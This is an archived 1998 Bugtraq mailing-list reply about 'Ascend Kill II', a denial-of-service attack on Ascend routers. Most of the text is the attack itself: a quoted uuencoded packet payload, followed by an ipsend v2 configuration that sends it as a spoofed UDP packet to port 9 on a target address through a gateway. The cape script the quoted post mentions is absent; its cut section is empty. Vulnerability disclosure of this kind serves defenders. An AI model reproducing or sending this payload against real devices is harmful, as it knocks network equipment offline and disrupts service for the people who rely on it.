Everhart,Glenn
From:	Darren Reed [avalon@COOMBS.ANU.EDU.AU]
Sent:	Tuesday, March 17, 1998 8:43 PM
To:	BUGTRAQ@NETSPACE.ORG
Subject:	Re: Ascend Kill II - Ballista "cape" version
In some mail from Aleph One, sie said:
>
> [ from rootshell ]
>
> Secure Networks makes security auditing software called Ballista.  It has
> its own scripting language called cape.  Here is a version of Ascend Kill II
> written in cape.  Check out how small it is!
>
> -- cut here --
> -- cut here --
>
> Here is the data that cape needs.  It is uuencoded.
>
> begin 644 ascend_data.uue
> M   'H@@2S/VD@0     2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
> M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
>
> end

Using that data file with ipsend v2:

interface { ifname le0; mtu 1500; };
ipv4 {
        src 1.1.1.1; dst 10.0.0.2;
        udp { sport 9; dport 9; data { file ascend_data.uue; }; };
};
send { via 10.0.0.1; };